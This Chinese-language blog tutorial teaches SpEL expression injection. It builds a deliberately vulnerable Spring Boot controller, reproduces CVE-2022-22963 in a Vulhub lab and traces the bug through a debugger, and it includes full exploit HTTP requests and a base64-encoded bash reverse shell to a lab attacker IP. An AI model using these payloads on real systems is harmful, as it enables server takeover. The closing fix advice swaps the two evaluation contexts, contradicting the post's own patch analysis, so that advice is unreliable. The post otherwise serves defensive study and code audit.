文章目錄
- 前言
- SpEL表達式基礎
- 基礎用法
- 安全風險
- 案例演示
- CVE-2022-22963
- 漏洞簡述
- 環境搭建
- 反彈shell
- CVE漏洞調試分析
- 本地搭建
- 調試分析
- 補丁分析
- 總結
前言
表達式注入是 Java 安全中一類常見的能夠注入命令并形成 RCE 的漏洞,而常見的表達式注入方式有 EL 表達式注入、SpEL 表達式注入和 OGNL 表達式注入等。本文將通過調試分析 CVE-2022-22963 漏洞來入門學習 SpEL 表達式注入漏洞的原理。
SpEL表達式基礎
SPEL(Spring Expression Language),即 Spring 表達式語言,比 JSP 的 EL 更強大的一種表達式語言。特別是方法調用和基本的字符串模板功能。Spring 框架的核心功能之一就是通過依賴注入的方式來管理 Bean 之間的依賴關系,而 SpEl 可以方便快捷的對 ApplicationContext中 的 Bean 進行屬性的裝配和提取。
【Question】上面說了 SpEL 是一種表達式語言,那么什么是表達式語言呢?
表達式/模板:在一些功能中,有一些固定的格式,只有部分變量,這樣的情況下就需要使用模板,模板就是將固定的部分提取出來形成一個固定的模塊,然后經過處理將變量填入其中。
基礎用法
如下是 SpEL 表達式求值的一個簡單案例:
//創建解析器
ExpressionParser parser = new SpelExpressionParser();
//解析表達式
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
//構造上下文
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//表達式求值
System.out.println(expression.getValue(context));
上述流程分為 4 步:
- 創建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默認實現;
- 解析表達式:使用 ExpressionParser 的 parseExpression 來解析相應的表達式為 Expression 對象;
- 構造上下文:上下文其實就是設置好某些變量的值,執行表達式時根據這些設置好的內容區獲取值;
- 表達式求值:通過 Expression 接口的
getValue
方法根據上下文獲得表達式值。
其中,第三步構造上下文并不是必需的步驟,在不配置的情況下具有默認類型的上下文(StandardEvaluationContext
),故以下代碼示例與上面代碼等價:
//創建解析器
ExpressionParser parser = new SpelExpressionParser();
//傳入并解析需要評估的表達式
Expression expression = parser.parseExpression("'Hello World!'");
//執行表達式,然后獲取值
String message = (String) expression.getValue();
安全風險
SpeL 表達式語言在 EvaluationContext 上下文類型除了提供默認的 StandardEvaluationContext
外,還提供了 SimpleEvaluationContext
。
【風險】SimpleEvaluationContext
旨在僅支持 SpEL 語言語法的一個子集,不包括 Java 類型引用、構造函數和 bean 引用,而 StandardEvaluationContext
是支持全部 SpEL 語法的,它包含了 SpEL 的所有功能,在允許用戶控制輸入的情況下可以成功造成任意命令執行,因為 SpEL 表達式是可以操作類及其方法的,可以通過類類型表達式 T(Type) 來調用任意類方法,比如以下示例代碼將在 Windows 系統上執行運行計算器的指令:
String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));
與此同時,由于在不指定 EvaluationContext
的情況下默認采用的是 StandardEvaluationContext
,所以默認情況下 SpEL 表達式求值存在代碼注入導致 RCE 的風險。
案例演示
下面通過本地 IDEA 創建存在簡單漏洞示例的 SpringBoot 項目來直觀感受下 SpEL 表達式注入漏洞。
1、由于我使用的是社區版的 IDEA(窮,用不起旗艦版),沒有 Spring Initializer 功能,無法快捷創建 Spring Boot 項目,只能手動去 https://start.spring.io/ 把工程創建好之后下載下來:
2、下載完是個 demo.zip
壓縮包工程文件,解壓縮后使用 IDEA 社區版 正常 open project 即可,IDEA 會自動下載 pom.xml 配置的依賴包到本地 Maven 倉庫:
修改 IDEA Maven 本地倉庫和遠程倉庫配置的話,請參見:Intellij IDEA配置Maven(內置Maven和修改本地倉庫地址和阿里云中央倉庫)。
3、到 application.properties
配置文件修改服務端口為 8081(默認為 8080,與BurpSuite抓包代理沖突了):
4、接著手動新增創建一個控制器 MyController 如下:
@RestController
public class MyController {// 映射到方法上,最終URL為localhost:8081/spel1,此處通常用 @GetMapping("/spel1") 表明GET請求方式的映射@RequestMapping("/spel1")@ResponseBodypublic String spel(String input){SpelExpressionParser parser = new SpelExpressionParser();Expression expression = parser.parseExpression(input);return expression.getValue().toString();}@RequestMapping("/spel2")@ResponseBodypublic String spel2(String input){SpelExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = new StandardEvaluationContext();Expression expression = parser.parseExpression(input);return expression.getValue(evaluationContext).toString();}@RequestMapping("/spel3")@ResponseBodypublic String spel3(String input){SpelExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();Expression expression = parser.parseExpression(input);return expression.getValue(evaluationContext).toString();}
}
上述控制器邏輯很簡單,我添加了三個路由:
路由 | 配置 | 是否存在 SpEL 注入漏洞 |
---|---|---|
/spel1 | 不指定 EvaluationContext ,默認是 StandardEvaluationContext | 是 |
/spel2 | 指定上下文 StandardEvaluationContext | 是 |
/spel3 | 指定上下文 SimpleEvaluationContext | 否 |
4、接下來直接運行 SpringBoot 項目,即可在本地 8081 端口成功訪問到 Web 服務:
5、接下來根據我們配置的路由來驗證漏洞,Payload為:/spelX?input=T(Runtime).getRuntime().exec("calc")
:
從上面簡單而直觀的漏洞示例代碼可以看出,在不指定 EvaluationContext
或者顯示采用 StandardEvaluationContext
作為上下文的時候,如果 SpEL 表達式的值可被外部輸入所控制,則存在因 SpEL 表達式注入導致 RCE 的風險。
CVE-2022-22963
接下來通過復現、調試分析一個 SpEL 表達式注入 CVE 漏洞來進一步學習、理解此類漏洞,此處挑選的是 CVE-2022-22963。
漏洞簡述
如 Vulhub官方文檔所述:Spring Cloud Function 提供了一個通用的模型,用于在各種平臺上部署基于函數的軟件,包括像 Amazon AWS Lambda 這樣的 FaaS(函數即服務,function as a service)平臺。
2022年3月,Spring Cloud 官方修復了一個 Spring Cloud Function 中的 SPEL 表達式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 類的 apply 方法將請求頭中的 “spring.cloud.function.routing-expression
” 參數作為 SpEL 表達式進行處理,造成了 SpEL 表達式注入漏洞,攻擊者可利用該漏洞遠程執行任意代碼。
【受影響版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
參考鏈接:
- CVE-2022-22963 漏洞描述;
- CVE-2022-22963 官方漏洞修復方案;
- Spring Cloud Function SPEL表達式注入漏洞分析;
環境搭建
本文使用 Ubuntu 官方虛擬機 + Vulhub CVE 漏洞靶場環境 復現該漏洞。以前的漏洞復現文章已經寫過 Vulhub 靶場的使用步驟:滲透測試-Openssl心臟出血漏洞復現。
整體復述一下,Ubuntu 上安裝 Docker 環境和搭建 Vulhub 靶場的步驟:
1、安裝docker:apt-get install -y docker.io
2、安裝docker-compose:pip install docker-compose
3、啟動docker后臺服務:sudo service docker start
4、將當前用戶加入docker組sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下載速度):https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下載vulhub漏洞目錄:git clone https://github.com/vulhub/vulhub.git
7、進入想要復現的漏洞對應文件夾:cd ~/vulhub/struts2/s2-048/(示例路徑)
8、以root身份執行以下命令開始運行漏洞容器:docker-compose up -d
回顧 Docker 用法請參考歷史博文:滲透測試-Docker容器。
【推薦】提高 Docker 鏡像下載速度請參考:Docker–提高下載速度的方法。
此處順便再簡單總結下 Docker 常用命令:
目的 | 命令 |
---|---|
在Docker公用倉庫搜索鏡像 | docker search bwapp(容器鏡像名) |
從Docker公用倉庫拉取鏡像 | docker pull raesene/bwapp(遠程鏡像路徑) |
返回本地Docker容器鏡像信息 | docker images |
將鏡像運行為一個真正在運行的容器 | docker run -d -p 8080:80 本地容器鏡像名 |
查看正在運行的容器 | docker ps |
查看所有容器(無論是否正在運行) | docker ps -a |
查看指定容器的詳細信息 | docker inspect 容器名或id |
進入容器的shell交互模式 | docker exec -i -t 容器id bash |
停止正在運行的容器 | docker stop 容器id |
重啟本地已停止運行的容器 | docker start 容器id |
強制刪除本地容器 | docker rm -f 容器ID |
Ubuntu 虛擬機成功搭建環境如下:
物理機訪問 Docker 服務(http://192.168.171.129:8080/
):
反彈shell
先說下這個漏洞產生的原因:如果在 /functionRouter
的 POST 請求頭中添加一個 spring.cloud.function.routing-expression
參數,Spring Cloud Function 會直接將參數值帶入 SpEL 中查詢導致 SpEL 注入。
那我們直接在 POST 請求中發送反彈 Shell 的命令即可,此處使用同一局域網中的 Kali 虛擬機作為攻擊機(192.168.171.128):
bash -i >& /dev/tcp/192.168.171.128/6666 0>&1
但是需要使用 reverse-shell 在線工具 將上述反彈 shell 的命令進行 Base64 編碼(具體原因請參見:Java反彈shell小記):
直接發送報文:
POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6test
【題外話】此處順便補充一個小技巧,BurpSuite 如果顯示字體模糊、分辨率不佳的情況下(比如此圖,傷眼睛啊……),可以在桌面快捷方式右鍵選擇“屬性”,在兼容性中選擇如下配置項后重啟即可解決(效果可參見下文另外的 Burp 截圖):
此時 Kali 攻擊機可獲得反彈的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶機的局域網 IP):
至此,我們已成功復現該漏洞,通過 SpEL 注入實現了 RCE 遠程命令執行。
最后,結束 Ubuntu 虛擬機靶場容器環境的運行:
CVE漏洞調試分析
簡單的復現漏洞并不是目的,我們的目的是從歷史 CVE 漏洞中分析根因,并盡可能能夠實現在白盒代碼審計實戰中做到舉一反三。
本地搭建
此處采用本地 IDEA 新建 SpringBoot 項目的方式來搭建漏洞環境,直接沿用前文 “案例演示” 章節中的簡易 SpringBoot 項目。
不想折騰的話可以直接在 Github 獲取來源的漏洞環境項目:Spring-Cloud-Function-Spel。
1、只需要在 pom.xml 中新增引入 spring-boot-starter-web
、spring-cloud-function-web
(存在漏洞的 3.2.2 版本):
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-function-web</artifactId><version>3.2.2</version>
</dependency>
2、接著在 application.properties
配置文件中添加spring.cloud.function.definition=functionRouter
(此配置也可以不配,非必需)
3、然后即可到 main 函數啟動 Spring 項目:
然而發現以下數據包并無法觸發漏洞:
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4test
4、最終發現需要修改 pom.xml 配置文件中如下組件版本信息,才能成功觸發漏洞(坑啊……):
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.5</version><relativePath/> <!-- lookup parent from repository --></parent>
調試分析
需要在上述命令執行處下斷點,看下程序執行流程。
SpringCloud Function 之所以能自動將函數建立 http 端點,是因為在包 mvc.FunctionController
中使用 /**
監聽了 GET/POST 類型的所有端點:
故我們在org.springframework.cloud.function.web.mvc.FunctionController#post
方法上下斷點進行跟蹤,程序會獲取 body 中的參數,并傳入 processRequest 方法中:
1、接著 processRequest 函數將判斷當前請求是否為 RoutingFunction,并將請求的內容和 Header 頭編譯成 Message 帶入到 FunctionInvocationWrapper.apply
方法中:
2、跟進FunctionInvocationWrapper.apply
函數,隨后又進入其中的 doApply 方法:
3、跟進 doApply 函數,會執行到如下 else 分支,進入 RoutingFunction 類的 apply 方法:
4、繼續 step into 跟進 RoutingFunction 類的 apply 方法,發現將進入到org.springframework.cloud.function.context.config.RoutingFunction#route
方法中:
5、跟進 route 函數,發現隨后進入的是 else if
分支,由于 exp 請求中的 http 頭spring.cloud.function.routing-expression
不為空,則傳入其值到functionFromExpression
方法:
6、step into 跟進 functionFromExpression 方法,發現其使用 SpelExpressionParser 解析了 SpEL 表達式,且調用了 expression.getValue
導致最終觸發 SpEL 表達式注入:
而此處的 evalContext 又采取了默認的 StandardEvaluationContext
(在不指定 EvaluationContext
的情況下默認也采用的是StandardEvaluationContext
),而它包含了 SpEL 的所有功能,在允許用戶控制輸入的情況下 SpEL 表達式是可以操作類及其方法的,可以通過類類型表達式 T(Type) 或者直接 new 來調用任意對象的任意方法,成功造成任意命令執行。
跟蹤到這已經完成整個 SpEL 表達式注入的觸發流程了,后續就不用再跟下去了。至此可以發現,只要通過環境變量、配置文件或者參數等方式配置為 spring.cloud.function.definition=functionRouter
, 即可觸發 SpEL 注入。
補丁分析
SpringCloud 官方已經修復了此問題,在 GitHub 上給出了修復 commit:
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
和其他 SpEL 注入修復方式一樣,修補代碼核心是在 functionFromExpression 函數中,使用了安全的 SimpleEvaluationContext
替換不安全的 StandardEvaluationContext
:
上述代碼增加判斷帶解析的 SpEL 表達式來源是否是 header,如果是 header 就使用屬于 SimpleEvaluationContext
的 headerEvalContext
,不是 header 才會使用屬于 StandardEvaluationContext
的 evalContext
。
總結
本文重點分析了 CVE-2022-22963,總結來說就是 Spring Cloud Function 相關版本提供的 spring.cloud.function.routing-expression
有解析Spel表達式的能力,而且使用的是默認的 StandardEvaluationContext
,導致存在 SpEL 表達式注入。惡意攻擊者無需認證即可通過構造特定的 HTTP 請求頭注入 SpEL 表達式,最終執行任意命令,獲取服務器權限。
漏洞檢測
來小結下對 Java 項目進行代碼審計過程中,挖掘 SpEL 表達式注入漏洞可行的套招。
整體來說,由于此類代碼流程特征為:
parseExpression()----StandardEvaluationContext()----getvalue()
所以可以在代碼中全局搜索 parseExpression
方法,審計其輸入是否外部可控,然后看使用的上下文是否是 StandardEvaluationContext
(默認的也是StandardEvaluationContext
),最后看是否執行了 getvalue()
等操作方法。如果滿足上面的要求,則說明存在 SPEL 注入漏洞。
漏洞修復
很簡單,使用 StandardEvaluationContext
替換 SimpleEvaluationContext
,或者對外部輸入的 SpEL 表達式進行過濾。
本文參考文章:
- Java安全學習:表達式注入;
- SPEL表達式注入——入門篇;
- Java代碼審計之SpEL表達式注入;
- Spring Cloud Function Spel表達式注入;
- SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963);